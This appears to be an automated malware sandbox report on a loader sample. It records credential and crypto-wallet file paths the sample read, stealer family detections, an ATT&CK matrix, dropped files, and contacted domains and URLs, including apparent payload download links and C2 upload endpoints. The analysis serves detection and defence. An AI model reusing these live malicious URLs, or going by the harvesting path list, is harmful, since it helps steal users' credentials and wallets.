Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-wal

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

Directory queried: C:\Users\user\Documents\iofolko5

Source: Yara match

File source: Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828, type: MEMORYSTR

Yara detected Go Injector

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000012.00000000.1791538975.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2923275259.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6388, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.1899246450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2116924327.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wg6F73wLMGz6xXFA14w_olCU.exe PID: 2796, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001B.00000002.2207772758.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.Yt_9y5LuIpBZXKd9EiYluKkG.exe.34c5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Windows Service	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	121 Registry Run Keys / Startup Folder	611 Process Injection	2 Obfuscated Files or Information	NTDS	156 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	3 Software Packing	LSA Secrets	681 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 Timestomp	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	611 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.PrivateLoader
SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	42%	Virustotal		Browse
SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\jewkkwnf\jewkkwnf.exe	100%	Joe Sandbox ML
C:\ProgramData\EGCBAFCFIJ.exe	79%	ReversingLabs	Win32.Spyware.Lummastealer
C:\ProgramData\EGCBAFCFIJ.exe	70%	Virustotal		Browse
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	54%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	64%	Virustotal		Browse
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\jewkkwnf\jewkkwnf.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.PrivateLoader
C:\ProgramData\jewkkwnf\jewkkwnf.exe	33%	Virustotal		Browse
C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	42%	ReversingLabs	ByteCode-MSIL.Trojan.PrivateLoader
C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	33%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\Users\userAEBAKJDGHI.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\userAEBAKJDGHI.exe	41%	Virustotal		Browse
C:\Users\userHJDBAFIECG.exe	26%	ReversingLabs	Win32.Trojan.Cerbu
C:\Users\userHJDBAFIECG.exe	40%	Virustotal		Browse
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.PrivateLoader
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	33%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe	54%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe	64%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe	47%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe	26%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
s3-w.us-east-1.amazonaws.com	0%	Virustotal	Browse
bitbucket.org	1%	Virustotal	Browse
cowod.hopto.org	1%	Virustotal	Browse
nerv.com.pe	6%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
iplogger.org	0%	Virustotal	Browse
tventyvf20pt.top	0%	Virustotal	Browse
api64.ipify.org	0%	Virustotal	Browse
bbuseruploads.s3.amazonaws.com	3%	Virustotal	Browse
questionmwq.shop	3%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
s3-w.us-east-1.amazonaws.com	52.217.131.81	true	false	0%, Virustotal, Browse
bitbucket.org	185.166.143.50	true	false	1%, Virustotal, Browse
steamcommunity.com	23.197.127.21	true	true	0%, Virustotal, Browse
tventyvf20pt.top	5.53.124.195	true	true	0%, Virustotal, Browse
cowod.hopto.org	45.132.206.251	true	true	1%, Virustotal, Browse
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse
iplogger.org	104.26.2.46	true	false	0%, Virustotal, Browse
questionmwq.shop	172.67.204.62	true	true	3%, Virustotal, Browse
nerv.com.pe	162.241.61.218	true	false	6%, Virustotal, Browse
api64.ipify.org	104.237.62.213	true	false	0%, Virustotal, Browse
bbuseruploads.s3.amazonaws.com	unknown	unknown	true	3%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
opponnentduei.shop	true
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true
http://176.113.115.33/thebig/noode.exe	false
193.233.255.84:4284	true
quotamkdsdqo.shop	true
http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xin	false
chickerkuso.shop	true
https://116.203.165.127/softokn3.dll	true
analforeverlovyu.top	true
https://api64.ipify.org/?format=json	false
http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1	false
http://nwgrus.ru/tmp/index.php	true
http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300	false
https://steamcommunity.com/profiles/76561199780418869	true
http://103.130.147.211/Files/1.exe	true
http://46.8.231.109/	true
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true
http://147.45.44.104/prog/66ecb454d2b4a_lgfdsjgds.exe	false
http://tech-servers.in.net/tmp/index.php	true
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true
http://46.8.231.109/c4754d4f680ead72.php	true
entyvf20pt.top	true
achievenmtynwjq.shop	true

URLs from Memory and Binaries

Name	Source	Malicious
https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exee9	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
https://gcc.gnu.org/bugs/):	kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2952837551.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false
http://176.113.115.33/thebig/noode.exeC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe#	RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvf20pt.top/e	kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvf20pt.top/d	kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2946311019.000000000130E000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1per	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://176.111.174.109/kurwaC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-client-apps	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/msal-net-enable-keychain-access	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylaS	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvf20pt.top/T	kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false
http://cowod.hopto.org_DEBUG.zip/c	Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/http	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lyla#	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://103.130.147.211/Files/1.exeC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
https://sso2urn:ietf:wg:oauth:2.0:oob	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/msal-net-up	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://schemas.xmlsoap.org/wsdl/soap12/shttp://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702iht	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://tventyvf20pt.top/v1/upload.php	kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2946311019.000000000130E000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949330729.0000000001334000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000003.1974938378.0000000001349000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66ed9885d9aee_Day2.exexexins	RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	false
http://176.111.174.109/kurwaxet	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	wg6F73wLMGz6xXFA14w_olCU.exe, 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp	false
http://147.45.44.104/prog/66e705d09b33c_jack.exeA	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://iplogger.org:443/1nhuM4.js	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline	VkcBn13x2kmdo9AMRXP8qT_4.exe, 00000010.00000002.2929361187.0000000000401000.00000020.00000001.01000000.00000010.sdmp	false
http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe_	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xinC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
http://www.symauth.com/cps0(	kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	false
http://147.45.44.104/prog/66e705d09b33c_jack.exeL	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
